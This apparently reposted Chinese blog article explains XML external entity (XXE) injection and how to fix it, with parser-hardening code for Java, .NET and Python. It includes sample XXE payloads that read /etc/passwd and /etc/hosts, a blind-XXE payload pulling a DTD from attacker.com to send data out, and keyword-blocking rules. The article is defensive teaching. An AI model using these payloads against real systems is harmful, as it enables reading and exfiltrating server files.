XML外部實體注入與修復方案

XML外部實體注入(XXE)是一種嚴重的安全漏洞,攻擊者利用XML解析器處理外部實體的功能來讀取服務器內部文件、執行遠程請求(SSRF)、掃描內網端口或發起拒絕服務攻擊。以下是詳細解釋和修復方案:


XXE 攻擊原理

  1. 外部實體聲明
    XML允許定義實體(變量),實體可引用外部資源:

    xml

    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  2. 實體注入
    攻擊者將惡意實體注入XML輸入:

    xml

    <data>&xxe;</data>

    解析器會將?&xxe;?替換為?/etc/passwd?文件內容。

  3. 攻擊類型

    • 讀取本地文件(file://

    • 發起HTTP請求(http://)→ SSRF

    • 拒絕服務(Billion Laughs 攻擊)

    • 端口掃描(結合SSRF)


修復方案

1.?禁用外部實體處理(根本方案)

Java (SAX/DOM)

java

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

.NET (XmlReader)

csharp

var settings = new XmlReaderSettings {DtdProcessing = DtdProcessing.Prohibit,XmlResolver = null  // 禁用解析器
};

Python (lxml)

python

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
2.?使用安全的XML庫
  • 優先選擇默認禁用外部實體的庫:

    • Java:?OWASP Java Encoderjackson-dataformat-xml

    • Python:?defusedxml(替代標準庫)

      python

      from defusedxml.ElementTree import parse
      parse(xml_file)
3.?輸入驗證與過濾
  • 過濾用戶輸入的?<!DOCTYPE>?和?<!ENTITY>?聲明

  • 使用正則表達式攔截敏感關鍵字(臨時緩解):

    regex

    <!ENTITY.*?SYSTEM|file:|http:
4.?輸出編碼

避免直接輸出XML解析結果,使用HTML編碼:

java

String safeOutput = Encode.forHtmlContent(rawXMLOutput);
5.?服務器層防御
  • WAF規則:攔截包含?ENTITYSYSTEM?等關鍵詞的請求

  • 文件權限:限制應用賬戶對系統文件的訪問權限


XXE 檢測方法

  1. 手動測試
    提交測試Payload:

    xml

    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]>
    <data>&xxe;</data>
  2. 自動化工具

    • OWASP ZAP、Burp Suite Professional(主動掃描)

    • XXEinjector(自動化利用工具)


額外注意事項

  • 依賴庫風險:即使代碼安全,底層庫(如Log4j 1.x)可能引入XXE

  • 非文件協議攻擊:防范?php://filtergopher://?等協議

  • 盲XXE:通過DNS查詢或HTTP請求外帶數據(需配置外部DTD)

    xml

    <!ENTITY % payload SYSTEM "file:///secret">
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;

修復后驗證

  1. 使用單元測試覆蓋XXE攻擊場景

  2. 定期進行安全掃描(SAST/DAST)

  3. 滲透測試:嘗試讀取?/etc/passwd?或觸發DNS查詢

關鍵原則:始終禁用DTD和外部實體解析。大多數現代XML解析器提供了明確的開關選項,啟用安全配置是防御XXE的核心。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/89043.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/89043.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/89043.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

解決高并發場景中的連接延遲:TCP 優化與隊頭阻塞問題剖析

你是否在高并發場景下遇到過這種情況&#xff1a;系統性能本來不錯&#xff0c;但在請求量大增的時刻&#xff0c;連接延遲暴漲&#xff0c;響應時間直線飆升&#xff0c;甚至整個服務都變得不可用&#xff1f;當你打開監控時&#xff0c;CPU、內存、帶寬都在正常范圍內&#x…

Web學習筆記4

CSS概述1、CSS簡介CSS&#xff0c;層疊樣式表&#xff0c;是一種樣式表語言&#xff0c;用以描述HTML的呈現內容的方式&#xff08;美化網頁&#xff09;。CSS書寫規則是&#xff1a;選擇器{屬性名&#xff1a;屬性值}的鍵值對CSS有三種引入方式&#xff0c;分別為&#xff1a;…

Spring AI 初學者指南:從入門到實踐與常用大模型介紹

作為 Java 開發者&#xff0c;當 AI 浪潮席卷而來時&#xff0c;如何在熟悉的 Spring 生態中快速擁抱大模型開發&#xff1f;Spring AI 的出現給出了答案。本文將從初學者視角出發&#xff0c;帶你了解 Spring AI 的核心概念、使用方法&#xff0c;并介紹與之搭配的常用大模型&…

C#自定義控件

1。C#中控件和組件的區別&#xff1a; 一般組件派生于&#xff1a;Component類&#xff0c;所以從此類派生出的稱之為組件。 一般用戶控件派生于:Control類或UserControl類&#xff0c;所以從該類派生出的稱之為用戶控件。 他們之間的關系主要是&#xff1a;UserControl繼承Con…

網絡資產測繪工具全景解析:七大平臺深度洞察

?一、資產測繪工具的核心價值?網絡資產測繪&#xff08;Cyber Asset Intelligence&#xff09;技術通過主動掃描與被動分析&#xff1a;實時發現全球暴露的網絡設備&#xff08;服務器、攝像頭、IoT設備&#xff09;自動化構建資產指紋庫&#xff08;操作系統/服務/框架版本&…

編程語言設計目的與側重點全解析(主流語言深度總結)

編程語言的設計本質上是對計算邏輯的形式化表達與工程約束的平衡&#xff0c;不同語言因目標場景、時代需求和技術哲學的差異&#xff0c;形成了獨特的設計范式。以下從系統級、應用級、腳本/動態、函數式、并發/安全等維度&#xff0c;選取10種最具代表性的編程語言&#xff0…

重學前端003 --- 響應式網頁設計 CSS 顏色

文章目錄文檔聲明head顏色模型div根據在這里 Freecodecamp 實踐&#xff0c;記錄筆記總結。 文檔聲明 在文檔頂部添加 DOCTYPE html 聲明 <!DOCTYPE html>head title 元素為搜索引擎提供了有關頁面的額外信息。 它還通過以下兩種方式顯示 title 元素的內容&#xff1a…

這個Pandas函數可以自動爬取Web圖表

Pandas作為數據科學領域鰲頭獨占的利器&#xff0c;有著豐富多樣的函數&#xff0c;能實現各種意想不到的功能。 作為學習者沒辦法一次性掌握Pandas所有的方法&#xff0c;需要慢慢積累&#xff0c;多看多練。 這次為大家介紹一個非常實用且神奇的函數-read_html()&#xff0…

vLLM與SGLang在自然語言處理領域的技術架構與性能對比研究

隨著大語言模型在工業界和學術界的廣泛應用&#xff0c;高效推理框架的選擇成為自然語言處理領域的關鍵挑戰。vLLM與SGLang作為當前最前沿的推理優化框架&#xff0c;分別通過創新的PagedAttention和RadixAttention機制展現了獨特的技術優勢。本文將系統對比兩大框架的核心架構…

樓宇自動化:Modbus 在暖通空調(HVAC)中的節能控制(二)

Modbus 在 HVAC 節能控制中的應用案例案例一&#xff1a;某商業建筑 HVAC 系統節能改造某大型商業建筑&#xff0c;總建筑面積達 5 萬平方米&#xff0c;涵蓋了購物中心、餐飲區和娛樂場所等多種功能區域 。改造前&#xff0c;其 HVAC 系統采用傳統的控制方式&#xff0c;設備之…

win10安裝Elasticsearch

1 啟動elasticsearch 下載地址&#xff1a;Download Elasticsearch | Elastic 雙擊elasticsearch.bat elasticsearch黑窗口啟動亂碼問題解決方案 到 config 文件下找到 jvm.options 文件 打開后 在文件末尾空白處 添加 -Dfile.encodingGBK 保存后重啟即可。 啟動后輸入&am…

[Meetily后端框架] Whisper轉錄服務器 | 后端服務管理腳本

第七章&#xff1a;Whisper轉錄服務器 歡迎回來&#xff01; 到目前為止&#xff0c;我們已經深入探索了"meeting-minutes"項目的"大腦"——Python后端。 我們已經了解了它如何通過后端API網關接收文本轉錄&#xff0c;使用摘要數據結構&#xff08;Pyd…

Azure-ADF 抽取數據

1,Azure 訪問地址 1,國際版 https://portal.azure.com/#homehttps://portal.azure.com/#home2,世紀互聯中國版 Microsoft Azure 由世紀互聯運營https://portal.azure.cn/2,創建資源組并且所有的后續組件都是再此資源下面創建。 3,創建Data Factory 工具 4,核心組件 1. 管…

django queryset 去重

在Django中&#xff0c;使用QuerySet時&#xff0c;如果你想要對查詢結果進行去重&#xff08;即去除重復的記錄&#xff09;&#xff0c;你可以使用幾種不同的方法。這里列出了一些常見的方法&#xff1a; 使用distinct() distinct()方法用于返回QuerySet中不重復的唯一對象。…

WIFI MTU含義 ,協商修改的過程案例分析

WIFI MTU含義 ,協商修改的過程案例分析 文章目錄 **WIFI MTU含義 ,協商修改的過程案例分析****一、WIFI MTU的含義****二、MTU協商修改的過程案例分析****1. TCP/IP協議中的MTU協商****2. 藍牙(BLE)中的MTU協商****3. 網絡設備配置中的MTU調整****三、協商修改的注意事項**…

記一次Android Studio編譯報錯:Execution failed for task ‘:app:compileDebugAidl‘

問題背景: android studio導入AIDL文件的時候編譯提示: Execution failed for task :app:compileDebugAidl. > A failure occurred while executing com.android.build.gradle.tasks.AidlCompile$AidlCompileRunnable > com.android.ide.common.process.ProcessEx…

selenium跳轉到新頁面時如何進行定位

在 Selenium 中&#xff0c;當你跳轉到新頁面&#xff08;例如通過點擊鏈接、提交表單或 JavaScript 重定向&#xff09;時&#xff0c;通常會遇到頁面加載或窗口切換的問題。為了在新頁面上繼續進行頁面定位操作&#xff0c;你需要確保以下幾點&#xff1a;? 1. 等待頁面加載…

QT——QComboBox組合框控件

QComboBox概述QComboBox是Qt框架中提供的組合框控件&#xff0c;它結合了按鈕和下拉列表的功能&#xff0c;允許用戶從預定義的選項列表中選擇一個或多個項目。基本特性特性描述顯示方式顯示當前選中項&#xff0c;點擊后展開下拉列表編輯能力可設置為可編輯或不可編輯項目類型…

CentOS 安裝jenkins筆記

1. 安裝 Java。目前一般jdk要求11以上&#xff0c;否則會報錯2. 手動添加 Jenkins 倉庫先創建一個專門的Jenkins文件夾&#xff1a;mkdir jenkins然后 執行 sudo curl -fsSL https://pkg.jenkins.io/redhat/jenkins.io.key -o /etc/pki/rpm-gpg/jenkins.io.key 然后&#xff0…

C#枚舉:從基礎到高級的全方位解析

C#枚舉&#xff1a;從基礎到高級的全方位解析 在 C# 編程中&#xff0c;枚舉&#xff08;Enum&#xff09;是一種特殊的值類型&#xff0c;用于定義命名的常量集合&#xff0c;它為代碼提供了更強的類型安全、可讀性和可維護性。從簡單的狀態標識到復雜的位運算組合&#xff0c…